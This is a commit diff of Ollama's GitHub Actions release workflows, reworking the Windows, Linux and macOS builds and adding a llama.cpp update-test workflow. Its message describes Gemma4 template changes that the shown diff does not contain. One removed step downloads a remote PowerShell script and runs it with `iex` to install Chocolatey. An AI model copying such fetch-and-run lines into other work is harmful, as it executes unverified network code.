refactor: simplify usage command

Incorporate the upstream Gemma4 chat template refinements for tool-calling stability, turn closure, and multi-turn reasoning. This updates the native renderer and checked-in HF template fixtures to keep adjacent assistant/tool continuations in the same model turn, add the post-tool thought-channel cue when thinking is enabled, and match Google's default of not replaying historical thinking before a later user turn.

Also preserve null tool arguments through Gemma4 rendering/parsing and extend the Jinja2 parity coverage for these upstream behaviors.

.github/workflows/release.yaml

@@ -16,7 +16,7 @@ jobs:
     outputs:
       GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
       VERSION: ${{ steps.goflags.outputs.VERSION }}
-      vendorsha: ${{ steps.changes.outputs.vendorsha }}
+      vendorsha: ${{ steps.goflags.outputs.vendorsha }}
     steps:
       - uses: actions/checkout@v4
       - name: Set environment
@@ -24,7 +24,7 @@ jobs:
         run: |
           echo GOFLAGS="'-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${GITHUB_REF_NAME#v}\" \"-X=github.com/ollama/ollama/server.mode=release\"'" | tee -a $GITHUB_OUTPUT
           echo VERSION="${GITHUB_REF_NAME#v}" | tee -a $GITHUB_OUTPUT
-          echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
+          echo vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
 
   darwin-build:
     runs-on: macos-26-xlarge
@@ -39,11 +39,27 @@ jobs:
       APPLE_ID: ${{ vars.APPLE_ID }}
       MACOS_SIGNING_KEY: ${{ secrets.MACOS_SIGNING_KEY }}
       MACOS_SIGNING_KEY_PASSWORD: ${{ secrets.MACOS_SIGNING_KEY_PASSWORD }}
+      DEVELOPER_DIR: /Applications/Xcode_26.4.1.app/Contents/Developer
       CGO_CFLAGS: '-mmacosx-version-min=14.0 -O3'
       CGO_CXXFLAGS: '-mmacosx-version-min=14.0 -O3'
       CGO_LDFLAGS: '-mmacosx-version-min=14.0 -O3'
     steps:
       - uses: actions/checkout@v4
+      - name: Select Xcode 26.4.1
+        shell: bash
+        run: |
+          set -euo pipefail
+          if [ ! -d "${DEVELOPER_DIR}" ]; then
+            echo "Missing ${DEVELOPER_DIR}"
+            ls -1 /Applications | grep '^Xcode' || true
+            exit 1
+          fi
+
+          sudo xcode-select -s "${DEVELOPER_DIR}"
+          sw_vers
+          xcodebuild -version
+          xcrun --sdk macosx --show-sdk-version
+          xcrun --find metal
       - run: |
           echo $MACOS_SIGNING_KEY | base64 --decode > certificate.p12
           security create-keychain -p password build.keychain
@@ -57,7 +73,9 @@ jobs:
           go-version-file: go.mod
           cache-dependency-path: |
             go.sum
-            Makefile.sync
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
       - run: |
           ./scripts/build_darwin.sh
       - name: Log build results
@@ -73,15 +91,18 @@ jobs:
             dist/*.dmg
 
   windows-depends:
+    needs: setup-environment
     strategy:
       matrix:
         os: [windows]
         arch: [amd64]
         preset: ['CPU']
+        build-steps: ['cpu cpuArm64']
         include:
           - os: windows
             arch: amd64
             preset: 'CUDA 12'
+            build-steps: cuda12
             install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
             cuda-components:
               - '"cudart"'
@@ -89,10 +110,10 @@ jobs:
               - '"cublas"'
               - '"cublas_dev"'
             cuda-version: '12.8'
-            flags: ''
           - os: windows
             arch: amd64
             preset: 'CUDA 13'
+            build-steps: cuda13
             install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
             cuda-components:
               - '"cudart"'
@@ -103,23 +124,23 @@ jobs:
               - '"nvvm"'
               - '"nvptxcompiler"'
             cuda-version: '13.0'
-            flags: ''
           - os: windows
             arch: amd64
-            preset: 'ROCm 6'
-            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
-            rocm-version: '6.2'
-            flags: '-DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
-            runner_dir: 'rocm'
+            preset: 'ROCm 7'
+            build-steps: rocm7
+            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
+            rocm-version: '7.1'
           - os: windows
             arch: amd64
             preset: Vulkan
+            build-steps: vulkan
             install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
-            flags: ''
-            runner_dir: 'vulkan'
           - os: windows
             arch: amd64
             preset: 'MLX CUDA 13'
+            build-steps: mlxCuda13
+            build-parallel: '16'
+            cmake-cuda-flags: '-t 6'
             install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
             cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
             cuda-components:
@@ -135,18 +156,34 @@ jobs:
               - '"nvvm"'
               - '"nvptxcompiler"'
             cuda-version: '13.0'
-            flags: ''
     runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
     environment: release
     env:
       GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
+      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
     steps:
+      - if: startsWith(matrix.preset, 'MLX ')
+        name: Increase pagefile to 200 GB
+        uses: al-cheb/configure-pagefile-action@v1.5
+        with:
+          minimum-size: 16GB
+          maximum-size: 200GB
+          disk-root: "D:"
       - name: Install system dependencies
         run: |
           choco install -y --no-progress ccache ninja
           if (Get-Command ccache -ErrorAction SilentlyContinue) {
             ccache -o cache_dir=${{ github.workspace }}\.ccache
           }
+      - if: matrix.preset == 'CPU'
+        name: Install Windows ARM64 cross compiler
+        run: |
+          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
+          Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
+          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
+          if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
+            throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
+          }
       - if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan') || startsWith(matrix.preset, 'MLX ')
         id: cache-install
         uses: actions/cache/restore@v4
@@ -195,12 +232,12 @@ jobs:
           }
           
           $vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
+          $vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
+          if (Test-Path $vulkanRuntime) {
+            Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
+          }
           echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
           echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
-      - if: matrix.preset == 'CPU'
-        run: |
-          echo "CC=clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
-          echo "CXX=clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
       - if: startsWith(matrix.preset, 'MLX ')
         name: Install cuDNN for MLX
         run: |
@@ -232,72 +269,63 @@ jobs:
         with:
           path: ${{ github.workspace }}\.ccache
           key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
-      - name: Build target "${{ matrix.preset }}"
+      - name: Build Windows dependencies
         run: |
           Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
           Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation  -DevCmdArguments '-arch=x64 -no_logo'
-          cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }} --install-prefix "$((pwd).Path)\dist\${{ matrix.os }}-${{ matrix.arch }}"
-          cmake --build --parallel ([Environment]::ProcessorCount) --preset "${{ matrix.preset }}"
-          cmake --install build --component "${{ startsWith(matrix.preset, 'MLX ') && 'MLX' || startsWith(matrix.preset, 'CUDA ') && 'CUDA' || startsWith(matrix.preset, 'ROCm ') && 'HIP' || startsWith(matrix.preset, 'Vulkan') && 'Vulkan' || 'CPU' }}" --strip
-          Remove-Item -Path dist\lib\ollama\rocm\rocblas\library\*gfx906* -ErrorAction SilentlyContinue
+          $steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
+          ./scripts/build_windows.ps1 @steps
         env:
           CMAKE_GENERATOR: Ninja
+          OLLAMA_BUILD_PARALLEL: ${{ matrix.build-parallel || '' }}
+          OLLAMA_CMAKE_CUDA_FLAGS: ${{ matrix.cmake-cuda-flags || '' }}
       - name: Log build results
         run: |
           gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
+      - if: matrix.preset == 'CPU'
+        name: Verify Windows CPU payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/lib/ollama/llama-server.exe \
+            dist/windows-arm64/lib/ollama/llama-server.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
       - uses: actions/upload-artifact@v4
         with:
           name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
           path: dist\*
 
   windows-build:
-    strategy:
-      matrix:
-        os: [windows]
-        arch: [amd64, arm64]
-        include:
-        - os: windows
-          arch: amd64
-          llvmarch: x86_64
-        - os: windows
-          arch: arm64
-          llvmarch: aarch64
-    runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
+    runs-on: windows
     environment: release
     needs: [setup-environment]
     env:
       GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
       VERSION: ${{ needs.setup-environment.outputs.VERSION }}
     steps:
-      - name: Install ARM64 system dependencies
-        if: matrix.arch == 'arm64'
-        run: |
-          $ErrorActionPreference = "Stop"
-          Set-ExecutionPolicy Bypass -Scope Process -Force
-          [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
-          iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
-          echo "C:\ProgramData\chocolatey\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
-
-          Invoke-WebRequest -Uri https://aka.ms/vs/17/release/vc_redist.arm64.exe -OutFile "${{ runner.temp }}\vc_redist.arm64.exe"
-          Start-Process -FilePath "${{ runner.temp }}\vc_redist.arm64.exe" -ArgumentList @("/install", "/quiet", "/norestart") -NoNewWindow -Wait
-
-          choco install -y --no-progress git gzip
-          echo "C:\Program Files\Git\cmd" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
       - name: Install clang and gcc-compat
         run: |
           $ErrorActionPreference = "Stop"
           Set-ExecutionPolicy Bypass -Scope Process -Force
-          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-${{ matrix.llvmarch }}.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
+          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
           Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
-          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt*").path
+          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
           echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+          if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
+            throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
+          }
       - uses: actions/checkout@v4
       - uses: actions/setup-go@v5
         with:
           go-version-file: go.mod
           cache-dependency-path: |
             go.sum
-            Makefile.sync
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
       - name: Verify gcc is actually clang
         run: |
           $ErrorActionPreference='Continue'
@@ -314,20 +342,30 @@ jobs:
         with:
           node-version: "20"
       - run: |
-          ./scripts/build_windows ollama app
+          ./scripts/build_windows ollama ollamaArm64 app appArm64
+      - name: Verify Windows build payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/ollama.exe \
+            dist/windows-arm64/ollama.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
       - name: Log build results
         run: |
           gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
       - uses: actions/upload-artifact@v4
         with:
-          name: build-${{ matrix.os }}-${{ matrix.arch }}
+          name: build-windows-amd64
           path: |
             dist\*
 
   windows-app:
     runs-on: windows
     environment: release
-    needs: [windows-build, windows-depends]
+    needs: [setup-environment, windows-build, windows-depends]
     env:
       GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
       VERSION: ${{ needs.setup-environment.outputs.VERSION }}
@@ -353,7 +391,9 @@ jobs:
           go-version-file: go.mod
           cache-dependency-path: |
             go.sum
-            Makefile.sync
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
       - uses: actions/download-artifact@v4
         with:
           pattern: depends-windows*
@@ -367,6 +407,18 @@ jobs:
       - name: Log dist contents after download
         run: |
           gci -path .\dist -recurse
+      - name: Verify Windows package inputs
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/ollama.exe \
+            dist/windows-amd64/lib/ollama/llama-server.exe \
+            dist/windows-arm64/ollama.exe \
+            dist/windows-arm64/lib/ollama/llama-server.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
       - run: |
           ./scripts/build_windows.ps1 deps sign installer zip
       - name: Log contents after build
@@ -380,20 +432,33 @@ jobs:
             dist/*.ps1
             dist/OllamaSetup.exe
 
-  linux-build:
+  linux-depends:
     strategy:
       matrix:
         include:
-          - os: linux
-            arch: amd64
-            target: archive
-          - os: linux
-            arch: amd64
-            target: rocm
-          - os: linux
-            arch: arm64
-            target: archive
-    runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
+          - arch: amd64
+            target: llama-server-cpu
+          - arch: amd64
+            target: llama-server-cuda_v12
+          - arch: amd64
+            target: llama-server-cuda_v13
+          - arch: amd64
+            target: mlx
+          - arch: amd64
+            target: llama-server-rocm_v7_2
+          - arch: amd64
+            target: llama-server-vulkan
+          - arch: arm64
+            target: llama-server-cpu
+          - arch: arm64
+            target: llama-server-cuda_v12
+          - arch: arm64
+            target: llama-server-cuda_v13
+          - arch: arm64
+            target: jetpack-5
+          - arch: arm64
+            target: jetpack-6
+    runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
     environment: release
     needs: setup-environment
     env:
@@ -401,80 +466,114 @@ jobs:
     steps:
       - uses: actions/checkout@v4
       - uses: docker/setup-buildx-action@v3
+      - uses: docker/login-action@v3
+        with:
+          username: ${{ vars.DOCKER_USER }}
+          password: ${{ secrets.DOCKER_ACCESS_TOKEN }}
+      - if: matrix.target == 'mlx'
+        name: Increase Linux swap to 200 GB
+        shell: bash
+        run: |
+          set -e
+          SWAP_PATH=/swapfile-mlx
+          SWAP_SIZE_GB=200
+          if [ -f "$SWAP_PATH" ]; then
+              sudo swapoff "$SWAP_PATH" 2>/dev/null || true
+              sudo rm -f "$SWAP_PATH"
+          fi
+          if ! sudo fallocate -l ${SWAP_SIZE_GB}G "$SWAP_PATH" 2>/dev/null; then
+              echo "fallocate unsupported, falling back to dd"
+              sudo dd if=/dev/zero of="$SWAP_PATH" bs=1M count=$((SWAP_SIZE_GB * 1024))
+          fi
+          sudo chmod 600 "$SWAP_PATH"
+          sudo mkswap "$SWAP_PATH"
+          sudo swapon "$SWAP_PATH"
+          swapon --show
+          free -h
       - uses: docker/build-push-action@v6
         with:
           context: .
-          platforms: ${{ matrix.os }}/${{ matrix.arch }}
+          platforms: linux/${{ matrix.arch }}
           target: ${{ matrix.target }}
+          provenance: false
+          sbom: false
           build-args: |
             GOFLAGS=${{ env.GOFLAGS }}
             CGO_CFLAGS=${{ env.CGO_CFLAGS }}
             CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
-          outputs: type=local,dest=dist/${{ matrix.os }}-${{ matrix.arch }}
-          cache-from: type=registry,ref=${{ vars.DOCKER_REPO }}:latest
-          cache-to: type=inline
-      - name: Deduplicate CUDA libraries
-        run: |
-          ./scripts/deduplicate_cuda_libs.sh dist/${{ matrix.os }}-${{ matrix.arch }}
-      - run: |
-          for COMPONENT in bin/* lib/ollama/*; do
-            case "$COMPONENT" in
-              bin/ollama*)               echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/*.so*)          echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/cuda_v*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/vulkan*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/mlx*)           echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/include*)       echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/cuda_jetpack5)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
-              lib/ollama/cuda_jetpack6)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
-              lib/ollama/rocm)           echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
-            esac
-          done
-        working-directory: dist/${{ matrix.os }}-${{ matrix.arch }}
-      - run: |
-          echo "Manifests"
-          for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in ; do
-            echo $ARCHIVE
-            cat $ARCHIVE
-          done
-      - run: |
-          for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in; do
-            tar c -C dist/${{ matrix.os }}-${{ matrix.arch }} -T $ARCHIVE --owner 0 --group 0 | zstd --ultra -22 -T0 >$(basename ${ARCHIVE//.*/}.tar.zst);
-          done
-      - uses: actions/upload-artifact@v4
-        with:
-          name: bundles-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.target }}
-          path: |
-            *.tar.zst
+            OLLAMA_MLX_BUILD_JOBS=16
+            OLLAMA_MLX_NVCC_THREADS=6
+            APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+            APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+          cache-from: |
+            type=registry,ref=ollama/release:cache-${{ matrix.arch }}-${{ matrix.target }}
+            type=registry,ref=${{ vars.DOCKER_REPO }}:latest
+          cache-to: type=registry,ref=ollama/release:cache-${{ matrix.arch }}-${{ matrix.target }},mode=max
 
   # Build each Docker variant (OS, arch, and flavor) separately. Using QEMU is unreliable and slower.
+  # Heavy stages were pre-built by linux-depends; this job is cache-hit-only for those layers
+  # and just assembles, runs the Go build, pushes the final image, and extracts release bundles.
   docker-build-push:
     strategy:
       matrix:
         include:
           - os: linux
             arch: arm64
+            archive-target: archive
             build-args: |
               CGO_CFLAGS
               CGO_CXXFLAGS
               GOFLAGS
+              APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+              APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+              OLLAMA_MLX_BUILD_JOBS=16
+              OLLAMA_MLX_NVCC_THREADS=6
+            cache-from: |
+              type=registry,ref=ollama/release:cache-arm64-llama-server-cpu
+              type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v12
+              type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v13
+              type=registry,ref=ollama/release:cache-arm64-jetpack-5
+              type=registry,ref=ollama/release:cache-arm64-jetpack-6
+              type=registry,ref=${{ vars.DOCKER_REPO }}:latest
           - os: linux
             arch: amd64
+            archive-target: archive
             build-args: |
               CGO_CFLAGS
               CGO_CXXFLAGS
               GOFLAGS
+              APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+              APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+              OLLAMA_MLX_BUILD_JOBS=16
+              OLLAMA_MLX_NVCC_THREADS=6
+            cache-from: |
+              type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
+              type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v12
+              type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v13
+              type=registry,ref=ollama/release:cache-amd64-mlx
+              type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
+              type=registry,ref=ollama/release:cache-amd64-llama-server-vulkan
+              type=registry,ref=${{ vars.DOCKER_REPO }}:latest
           - os: linux
             arch: amd64
             suffix: '-rocm'
+            archive-target: image-archive
             build-args: |
               CGO_CFLAGS
               CGO_CXXFLAGS
               GOFLAGS
               FLAVOR=rocm
+              APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+              APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+              OLLAMA_MLX_BUILD_JOBS=16
+              OLLAMA_MLX_NVCC_THREADS=6
+            cache-from: |
+              type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
+              type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
+              type=registry,ref=${{ vars.DOCKER_REPO }}:latest
     runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
     environment: release
-    needs: setup-environment
+    needs: [setup-environment, linux-depends]
     env:
       GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
     steps:
@@ -489,9 +588,11 @@ jobs:
         with:
           context: .
           platforms: ${{ matrix.os }}/${{ matrix.arch }}
+          provenance: false
+          sbom: false
           build-args: ${{ matrix.build-args }}
           outputs: type=image,name=${{ vars.DOCKER_REPO }},push-by-digest=true,name-canonical=true,push=true
-          cache-from: type=registry,ref=${{ vars.DOCKER_REPO }}:latest
+          cache-from: ${{ matrix.cache-from }}
           cache-to: type=inline
       - run: |
           mkdir -p ${{ matrix.os }}-${{ matrix.arch }}
@@ -502,6 +603,64 @@ jobs:
           name: digest-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}
           path: |
             ${{ runner.temp }}/${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}.txt
+      - uses: docker/build-push-action@v6
+        with:
+          context: .
+          platforms: ${{ matrix.os }}/${{ matrix.arch }}
+          target: ${{ matrix.archive-target }}
+          provenance: false
+          sbom: false
+          build-args: ${{ matrix.build-args }}
+          outputs: type=local,dest=dist/${{ matrix.os }}-${{ matrix.arch }}
+          cache-from: ${{ matrix.cache-from }}
+      - name: Deduplicate CUDA libraries
+        run: |
+          ./scripts/deduplicate_cuda_libs.sh dist/${{ matrix.os }}-${{ matrix.arch }}
+      - name: Verify Linux build payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          base="dist/${{ matrix.os }}-${{ matrix.arch }}"
+          for payload in \
+            "$base/bin/ollama" \
+            "$base/lib/ollama/llama-server"
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
+      - run: |
+          for COMPONENT in bin/* lib/ollama/*; do
+            case "$COMPONENT" in
+              bin/ollama*)               echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/*.so*)          echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/llama-server*|lib/ollama/llama-quantize*)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/cuda_v*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/vulkan*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/mlx*)           echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
+              lib/ollama/include*)       echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
+              lib/ollama/cuda_jetpack5)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
+              lib/ollama/cuda_jetpack6)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
+              lib/ollama/rocm_v*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
+            esac
+          done
+        working-directory: dist/${{ matrix.os }}-${{ matrix.arch }}
+      - if: matrix.suffix == '-rocm'
+        run: rm -f dist/${{ matrix.os }}-${{ matrix.arch }}/ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in
+      - run: |
+          echo "Manifests"
+          for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in ; do
+            echo $ARCHIVE
+            cat $ARCHIVE
+          done
+      - run: |
+          for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in; do
+            tar c -C dist/${{ matrix.os }}-${{ matrix.arch }} -T $ARCHIVE --owner 0 --group 0 | zstd -19 -T0 >$(basename ${ARCHIVE//.*/}.tar.zst) &
+          done
+          wait
+      - uses: actions/upload-artifact@v4
+        with:
+          name: bundles-${{ matrix.os }}-${{ matrix.arch }}${{ matrix.suffix }}
+          path: |
+            *.tar.zst
 
   # Merge Docker images for the same flavor into a single multi-arch manifest
   docker-merge-push:
@@ -541,7 +700,7 @@ jobs:
   release:
     runs-on: ubuntu-latest
     environment: release
-    needs: [darwin-build, windows-app, linux-build]
+    needs: [darwin-build, windows-app, docker-build-push]
     permissions:
       contents: write
     env:
@@ -559,6 +718,21 @@ jobs:
       - name: Copy install scripts to dist
         run: |
           cp scripts/install.sh dist/install.sh
+      - name: Verify release artifacts
+        run: |
+          required=(
+            dist/OllamaSetup.exe
+            dist/install.ps1
+            dist/install.sh
+            dist/ollama-windows-amd64.zip
+            dist/ollama-windows-arm64.zip
+          )
+          for payload in "${required[@]}"; do
+            if [ ! -f "$payload" ]; then
+              echo "::error::Missing expected release artifact: $payload"
+              exit 1
+            fi
+          done
       - name: Generate checksum file
         run: find . -type f -not -name 'sha256sum.txt' | xargs sha256sum | tee sha256sum.txt
         working-directory: dist

.github/workflows/test-llamacpp-update.yaml

@@ -0,0 +1,596 @@
+name: test-llamacpp-update
+
+# PR validation artifacts from this workflow are intentionally unsigned and not
+# notarized. They are for llama.cpp update testing only and must not be
+# published as release artifacts.
+
+on:
+  pull_request:
+    paths:
+      - 'LLAMA_CPP_VERSION'
+
+permissions:
+  contents: read
+
+env:
+  CGO_CFLAGS: '-O3'
+  CGO_CXXFLAGS: '-O3'
+
+jobs:
+  setup-environment:
+    runs-on: ubuntu-latest
+    outputs:
+      GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
+      VERSION: ${{ steps.goflags.outputs.VERSION }}
+      vendorsha: ${{ steps.goflags.outputs.vendorsha }}
+    steps:
+      - uses: actions/checkout@v4
+      - name: Set environment
+        id: goflags
+        shell: bash
+        run: |
+          set -euo pipefail
+          VERSION="0.0.0-llamacpp-${GITHUB_SHA::7}"
+          {
+            echo "GOFLAGS='-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${VERSION}\" \"-X=github.com/ollama/ollama/server.mode=release\"'"
+            echo "VERSION=${VERSION}"
+            echo "vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION)"
+          } >>"${GITHUB_OUTPUT}"
+
+  darwin-build:
+    runs-on: macos-26-xlarge
+    needs: setup-environment
+    env:
+      GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
+      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
+      CGO_CFLAGS: '-mmacosx-version-min=14.0 -O3'
+      CGO_CXXFLAGS: '-mmacosx-version-min=14.0 -O3'
+      CGO_LDFLAGS: '-mmacosx-version-min=14.0 -O3'
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-go@v5
+        with:
+          go-version-file: go.mod
+          cache-dependency-path: |
+            go.sum
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
+      - name: Build unsigned Darwin runtime
+        run: ./scripts/build_darwin.sh build package
+      - name: Log build results
+        run: ls -l dist/
+      - uses: actions/upload-artifact@v4
+        with:
+          name: ollama-darwin.tgz
+          path: dist/ollama-darwin.tgz
+          compression-level: 0
+
+  # Build payload export stages independently and combine the exported
+  # filesystem artifacts below. This preserves parallelism without Docker
